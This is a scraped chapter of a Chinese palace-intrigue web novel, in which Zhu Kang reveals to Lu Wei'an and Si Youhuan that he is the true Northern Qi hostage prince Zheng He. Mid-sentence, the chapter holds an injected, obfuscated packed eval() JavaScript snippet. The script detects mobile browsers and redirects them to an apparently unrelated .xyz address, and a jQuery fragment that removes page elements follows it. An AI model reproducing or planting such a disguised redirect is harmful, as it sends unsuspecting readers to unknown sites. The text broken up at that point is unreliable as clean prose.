马车突然停下来,外面有人喊:“可是世子在车里?”
陆为安掀开帘子探出头:“谁?”
“贤王有请。”对面的马车也撩开了帘子,贤王坐在车里冲着陆为安招手。
“安哥,别来无恙。”
陆为安再不是刚才在斯有欢面前毛躁的样子,他利落地跳下马车,上前恭敬行礼:“贤王殿下,别来无恙。”
斯有欢听了一会,用气音问祝康:“贤王,是静太妃生的?”
祝康不比斯有欢,在定金多年,对各路人物的关系都有了解,他点了点头,用眼神问:你怎么知道?
斯有欢眉头皱起,想到早上帝后问自己要不要去为静太妃请脉。事情果然有蹊跷。
没一会陆为安带着寒气回来了,三人都没出声,直到马车距离足够远了,斯有欢才问:“找你做什么?”
“问个好,顺便说等他从宫里探望老太妃出来,约我喝茶。”陆为安从靖城回来,贤王想探一探虚实,找他自然再合适不过。
斯有欢和祝康一齐,目光炯炯地看着他。陆为安立刻察觉到不对:“你们想说什么?”
“老太妃病了,你知道吗?”斯有欢见陆为安点头,“早上陛下问我愿不愿意去给老太妃看病。”
找斯有欢看病?陆为安第一反应,谁告诉了太妃斯有欢的消息?
“所以……”陆为安沉吟片刻,“你想说可能贤王会让我帮忙引荐,请你去诊脉?”
绝对有可能。
"我才回了帝后技艺不精,你记得用这个理由搪塞他。“斯有欢先确保自己不在这趟浑水里。
陆为安郑重点头,若他的猜想是真的,那决不能让斯有欢与太妃有什么接触。
斯有欢松了口气的时候,陆为安问:“你们俩,有什么事瞒着我?”
他反复琢磨了半天,进屋那会,两人凑在一起是在说话,一定是祝康有什么事,不然斯有欢的脾气,绝不会跟他那么亲密。陆为安不允许祝康带给斯有欢什么危险,必然要将事情问清楚。
祝康直视着他,眼神既不闪躲也不回避,斯有欢撑着脸,意兴阑珊:“别看我,这是他私事。”
陆为安隐隐有点范酸:“怎么,你也腰膝酸软有碍子嗣了?”
祝康脸色不变,冷静开口:“放屁。”
陆为安指着他,像个闹着要吃糖的孩子:“你在他面前说我腰膝酸软的时候,可没想着这是我私事。”语气里满是委屈。
斯有欢头疼,不过联想宣帝的态度……她还在犹豫要不要说,毕竟让陆为安知道了,就是一根绳上的蚂蚱,多了陆为安也许还多了一道保障。
“我才是郑禾。”祝康,不,是三王子郑禾却开口,丢给了陆为安一个惊雷,“我才是北齐三王子,你们以为的三王子,其实是我表弟,他才是祝康。”
斯有欢轻轻理了下碎发,小心翼翼地瞧陆为安。陆为安面无表情,完全看不出他内心的真实想法。
倒是,挺会装的。斯有欢感慨,以她的修为,在宣帝面前都露了马脚。陆为安乍然之下,居然这么淡定,可造之材。
此事实在太过惊悚,北齐三王子郑禾作为质子,居然从进入大周开始,就与表弟互换了身份,欺骗宣帝八年之久,如今还因为他表弟昏迷,引起两国交战,宣帝震怒之下……
陆为安不顾礼数,一把抓住斯有欢的手:“你刚才什么都没听见,知道吗!”
一定要把斯有欢摘出去!这是陆为安此时唯一的想法。
斯有欢非常感动,拍一拍陆为安的手:“我觉得,宣帝好像知道,而且,他知道我知道。”
又一个惊雷,陆为安表情终于没崩住:“什么时候?”也亏得他这么激动了,还能克制着自己,轻声说话。
“就早上。”斯有欢面带歉意,“一时大意,被陛下看出来了。”
“刚刚在宫中说的,就是此事。”
祝康一开口,陆为安就恨不得立刻将他五花大绑,亲自送到宣帝面前。“你怎么敢,如此胆大包天!”从一开始进入大周,就存心欺瞒!
“因为,北齐也不知道。”郑禾面沉如水,“我娘当年被进贡给北齐莫王,生下了我。我娘本是大周人,她知道异族的血脉在北齐,尤其是大周的血脉,恐怕活不下去。在她一筹莫展之际,她的丫鬟,就是祝康的母亲,将祝康抱了出来。”
“她让我们俩调换身份,以保全我的性命。祝康比我早出生一个月,但他长得瘦小,加上那时莫王有了新的宠妃,等他们想起我来,我已经五个月大,居然也没人发现,两个孩子调包了。”
“质子,……不,祝康长得根本不像北齐人,没人怀疑?”陆为安怀疑地问。
斯有欢想起祝康,就记起穿着薄纱跳舞的样子,北齐莫王没有怀疑点什么?
“怀疑,滴血认亲也做过。“祝康笑了一声,”不知我娘用了什么手段,两滴血融合了。后来便说,三王子肖母,是个野崽子。“
“而我,当初换孩子时,祝康的娘亲直接对外说,自己的孩子夭折了。我是被放在牧民中养到四岁,才被祝康的母亲以为三王子找护卫为由带回来的。三王子外形肖母,不得宠,直到要往大周送质子,当然是最合适的人选。”
"祝康知道他的真实身份吗?“陆为安问道。
“知道,他母亲从小就告诫他,他的锦衣玉食都是偷来的,我在外挨饿,他在内享福,我娘还救了她,他们母子二人,都欠了债,需得用这条命还我。”郑禾的眼角有些泛红,“可事实上,她三个月一次去牧民家里送钱财,那户人家没有儿子,我一直被保护得很好。反而是祝康,他的汉人长相,让他吃了不少苦。甚至好几次,莫王抓起来就想摔死他。”
斯有欢和陆为安一时都不知道说什么,说起来,陆为安父子不和,斯有欢被主母磋磨,加上郑禾和祝康,真是一根藤上四个瓜,各有个的苦。
陆为安的火气一时没了影,他轻敲自己的额头:“你唯独不该把斯有欢牵扯进来。”
“是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806754|162549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我的错。”郑禾提起这一点,也很是懊悔,“但斯有欢是我最后的希望,祝康不该在替我背负这么多以后,再为我而死。”
“不仅是这点,你最不应该的,就是告诉斯有欢你的真实身份。”陆为安对于这点耿耿于怀,这种杀头的秘密也要跟斯有欢讲,郑禾安的什么心!
郑禾无奈,这点陆为安误会了,并不是他告诉斯有欢的。
“现在说这些毫无意义,再说,不回来,有些事我也做不了。”比如,为陆为安找出,到底是怎么中的毒。
“若是陛下今后追究此事,我会为你求情的。”陆为安道。
斯有欢的目光斜过来,陆为安安慰她:“陛下不会追究你的。”
郑禾:“……”
“陛下要怎么收拾我们,恐怕还得看心情。”斯有欢撑着脸,只怪自己当时抬头看了那一眼。
马车在此时停了下来,陆为安万万没有料到,居然这一段不算太长的路程,居然如此一波三折。
崔小芝就等在小巷门口,马车门帘撩起,她瞧见下来的人,立刻上前,将陆为安挤开,满脸是笑地对斯有欢道:“可算来了。”
陆为安退到一边,尴尬地摸了摸鼻子。
斯有欢跟在后面下车,崔小芝上前握住她的手:“是不是瘦了啊,怎么也不好好吃饭?”她径自带着斯有欢往小巷中走,也没瞧见后面还跟着个郑禾。
斯有欢觉得自己有些没心没肺,崔小芝为了她千里迢迢来定金,她猫在宫里吃香喝辣的,也没想想崔小芝。
崔小芝住在小巷中间一间幽静的宅子里,宅子不过一进,但收拾得很清爽。
“娘,这是租的?”
“是你爹买的。”
“我爹这么有钱?”看不出来啊,斯有欢心道。
“我年轻时候总想着要来定金看看,你爹就硬是攒钱,买了这套宅子。”崔小芝笑,“可惜没住两年,我就与他去了靖州,这么多年这宅子就一直空着。早知道,还不如不买。”
屋里有个小丫鬟迎出来:“夫人小姐。”
崔小芝拉着斯有欢进去,屋里炭盆烧得很旺,比外面暖和许多。斯有欢有些过意不去:“久未居住,收拾得这么干净,娘一定累到了吧?”她都没帮上什么忙。
“不累不累。”崔小芝道,“詹公子叫了小厮来帮忙,还非得留下来,我推辞不过,这才留了玉珊一个。”
提起詹仁杰,斯有欢这才发现,他居然不在。
崔小芝将斯有欢按在软枕上,给她塞了个暖手壶,又递上一个小点心,丫鬟将才泡好的茶端上来,要不是屋里杵着好几个人,斯有欢再拿上一本画本,活脱脱定金贵女闺中打发时间。
不是来看崔小芝和竹原的吗?斯有欢还没来得及问,崔小芝已经吩咐丫鬟:“去把竹原叫来。詹公子一早就将竹原送来了,为了人多眼杂,他说晚些再来,将竹原接走。”
崔小芝将一切事情安排得井井有条,既舍不得女儿劳累一点,又不耽误她办正事。